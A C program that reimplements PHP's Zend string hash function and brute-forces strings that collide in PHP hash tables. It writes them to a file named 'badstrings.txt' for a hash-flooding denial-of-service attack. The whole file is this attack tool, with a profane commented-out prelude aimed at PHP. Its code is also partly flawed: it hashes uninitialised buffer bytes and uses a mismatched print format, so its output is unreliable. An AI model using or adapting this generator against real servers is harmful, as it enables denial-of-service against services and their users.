#include <stddef.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <limits.h>

#define MASK 0x4fff

unsigned long zend_inline_hash_func(char *arKey, unsigned int nKeyLength, unsigned long hash)
{
    //register unsigned long hash = 5381;

    /* variant with the hash unrolled eight times */
    for (; nKeyLength >= 8; nKeyLength -= 8) {
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
    }
    switch (nKeyLength) {
        case 7: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 6: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 5: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 4: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 3: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 2: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 1: hash = ((hash << 5) + hash) + *arKey++; break;
        case 0: break;
//EMPTY_SWITCH_DEFAULT_CASE()
    }
    return hash;
}




int incstr(char* str, int n)
{
    char* chars;
    char* c;
    char d;

    chars = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_1234567890";

    if(str[n] == '0') {
        if(n == 0) return 1;

        str[n] = 'q';

        incstr(str, n-1);
        return 0;
    };

    d = (char)(str[n]);
    c = strchr(chars, d);
    str[n] = *(c + 1);
    return 0;
};

int main(int argc, char** argv)
{
        char* prelude;
        char* chars;
        int prelen;
        unsigned long prehash, phs, h, i, coll;
        int c;
        int outlen, quiet, pipe;

        FILE* f;

        union {
            //uint64_t num;
            char str[32];
        } x;

        outlen = 4;
        quiet = 0;
        pipe = 0;

        if(pipe) {
            quiet = 1;
            f = stdout;
        } else {
            f = fopen("badstrings.txt", "wb");
        }

        //prelude = "fuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphp";
        prelude = "";
        prelen = strlen(prelude);

        // 5381 is one of php's copious non-macroed magic numbers scattered throughout the source
        prehash = zend_inline_hash_func(prelude, prelen, 5381);
        phs = prehash & MASK;

        //printf("%lu",prehash); return 0;
        coll = 0;
        for(i = 0; i < 31; i++)
            x.str[i] = 'q';

        x.str[outlen+1] = 0;
        c = 0;
        while(1) {
            h = zend_inline_hash_func(x.str, 32, prehash) & MASK;
            if(h == phs) {
                coll++;
                printf("%ld: %s\n", coll, x.str);
                fprintf(f, "%s%s\n", prelude, x.str);
            } else {
                //if(!(i % 1000000))
                //printf("none: %lu - %.32s\n", h, x.str);
            }

            if(coll > MASK + 3) break;
            if(incstr(x.str, outlen)) break;
        }

        if(!quiet) printf("\n\ncollisions: %d\n", (int) coll);
        if(!pipe) fclose(f);

        return 0;
};